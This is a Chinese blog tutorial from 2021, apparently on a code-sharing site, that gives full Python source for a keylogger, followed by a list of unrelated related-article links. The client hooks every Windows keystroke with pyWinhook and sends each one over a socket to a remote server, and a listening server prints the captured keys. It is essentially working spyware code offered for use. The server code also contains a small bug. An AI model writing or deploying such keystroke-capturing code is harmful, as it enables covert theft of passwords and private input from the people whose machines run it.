python实现监听键盘


Posted in Python onApril 26, 2021

python实现监听键盘,供大家参考,具体内容如下实现服务端

import pickle
from io import BytesIO
import socket

#接收数据
def Server_Recive(ip,port):
    socket_obj = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    socket_obj.bind((ip,port))
    socket_obj.listen(5)

    file = 1

    while True:
        connection,address = socket_obj.accept()
  #接受的数据
        recieved_message = b''
        recieved_message_fragment = connection.recv(1024)
        while recieved_message_fragment:
            recieved_message += recieved_message_fragment
            recieved_message_fragment = connection.recv(1024)

        try:
            obj = pickle.loads(recieved_message)
            print(obj['Key'],end=' ')
        except EOFError:
            file_name = 'recv_image_' + str(file_on) + '.bmp'
            recv_image = open(file_name,'wb')
            recv_image.write(recieved_message)
            file_on += 1
        connection.close()


if __name__ == '__main__':
    Server_IP = '0.0.0.0'
    Server_Port = 6666
    Server_Recive(Server_IP,Server_Port)

键盘监听程序

#键盘监听

import pythoncom,pyWinhook,pickle,socket
from io import BytesIO

def Client_PIC(ip,port,obj):
    try:
        msg = pickle.dumps(obj)
        send_message = BytesIO(msg)
        send_message_fragment = send_message.read(1024)
    except:
        send_message = obj
        send_message_fragment = send_message.read(1024)

    socket_obj = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    socket_obj.connect((ip,port))

    while send_message_fragment:
        socket_obj.send(send_message_fragment)
        send_message_fragment = send_message.read(1024)

    socket_obj.close()


def OnkeyBoardEvent(event):
    dict_key = {}
    dict_key['MessageName'] = event.MessageName
    dict_key['Key'] = event.Key

    Client_PIC('你自己的ip地址',6666,dict_key)
    return True

def Keylogger():
    hm = pyWinhook.HookManager()
    hm.KeyDown = OnkeyBoardEvent
    hm.HookKeyboard()
    pythoncom.PumpMessages()

if __name__ == '__main__':
    Keylogger()

其中的pythoncom,pyWinhook百度查找安装方法,在此不赘述

运行(先运行服务端,而后运行监听程序)

python实现监听键盘

以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持三水点靠木。

Python 相关文章推荐
Python 异常处理实例详解
Mar 12 Python
在Django框架中伪造捕捉到的URLconf值的方法
Jul 18 Python
Python中MySQL数据迁移到MongoDB脚本的方法
Apr 28 Python
Python实现获取磁盘剩余空间的2种方法
Jun 07 Python
python生成词云的实现方法(推荐)
Jun 13 Python
浅析Python pandas模块输出每行中间省略号问题
Jul 03 Python
python 两个一样的字符串用==结果为false问题的解决
Mar 12 Python
如何在windows下安装Pycham2020软件(方法步骤详解)
May 03 Python
Python 通过监听端口实现唯一脚本运行方式
May 05 Python
如何让python的运行速度得到提升
Jul 08 Python
详解python 支持向量机(SVM)算法
Sep 18 Python
python爬虫爬取淘宝商品比价(附淘宝反爬虫机制解决小办法)
Dec 03 Python
python如何做代码性能分析
Apr 26 #Python
Python字符串对齐方法使用(ljust()、rjust()和center())
Apr 26 #Python
python如何进行基准测试
Apr 26 #Python
python实现简单的名片管理系统
Python实战之实现康威生命游戏
Python 制作自动化翻译工具
教你用Python写一个植物大战僵尸小游戏
You might like
PHP预定义变量9大超全局数组用法详解
2016/04/23 PHP
ThinkPHP5.1+Ajax实现的无刷新分页功能示例
2020/02/10 PHP
JQuery 技巧和窍门整理(8个)
2010/04/22 Javascript
jQuery实现随意改变div任意属性的名称和值(部分原生js实现)
2013/05/28 Javascript
jquery必须知道的一些常用特效方法及使用示例(整理)
2013/06/24 Javascript
JavaScript中instanceof与typeof运算符的用法及区别详细解析
2013/11/19 Javascript
JS动态添加与删除select中的Option对象(示例代码)
2013/12/20 Javascript
多个checkbox被选中时如何判断是否有自己想要的
2014/09/22 Javascript
js实现点击左右按钮轮播图片效果实例
2015/01/29 Javascript
使用AngularJS创建自定义的过滤器的方法
2015/06/18 Javascript
深入剖析JavaScript编程中的对象概念
2015/10/21 Javascript
JS+CSS实现大气清新的滑动菜单效果代码
2015/10/22 Javascript
JS实现复制功能
2017/03/01 Javascript
老生常谈combobox和combotree模糊查询
2017/04/17 Javascript
使用vue-route 的 beforeEach 实现导航守卫(路由跳转前验证登录)功能
2018/03/22 Javascript
详解ajax的data参数错误导致页面崩溃
2018/04/30 Javascript
react native 原生模块桥接的简单说明小结
2019/02/26 Javascript
vue+elementUI实现表单和图片上传及验证功能示例
2019/05/14 Javascript
微信小程序实现电子签名并导出图片
2020/05/27 Javascript
解决Vue keep-alive 调用 $destory() 页面不再被缓存的情况
2020/10/30 Javascript
vue动态合并单元格并添加小计合计功能示例
2020/11/26 Vue.js
利用Psyco提升Python运行速度
2014/12/24 Python
Python黑魔法Descriptor描述符的实例解析
2016/06/02 Python
详解Python实现按任意键继续/退出的功能
2016/08/19 Python
Python集合基本概念与相关操作实例分析
2019/10/30 Python
python deque模块简单使用代码实例
2020/03/12 Python
Python 实现自动登录+点击+滑动验证功能
2020/06/10 Python
英国浴室洗脸盆购物网站:Click Basin
2018/06/08 全球购物
阿玛尼美妆英国官网:Giorgio Armani Beauty英国
2019/03/28 全球购物
戴尔新加坡官网:Dell Singapore
2020/12/13 全球购物
毕业自我鉴定
2013/11/05 职场文书
小学毕业寄语大全
2014/04/03 职场文书
女儿满月酒致辞
2015/07/29 职场文书
生日宴会祝酒词
2015/08/10 职场文书
公司客户答谢酒会祝酒词
2015/08/11 职场文书
nginx内存池源码解析
2021/11/20 Servers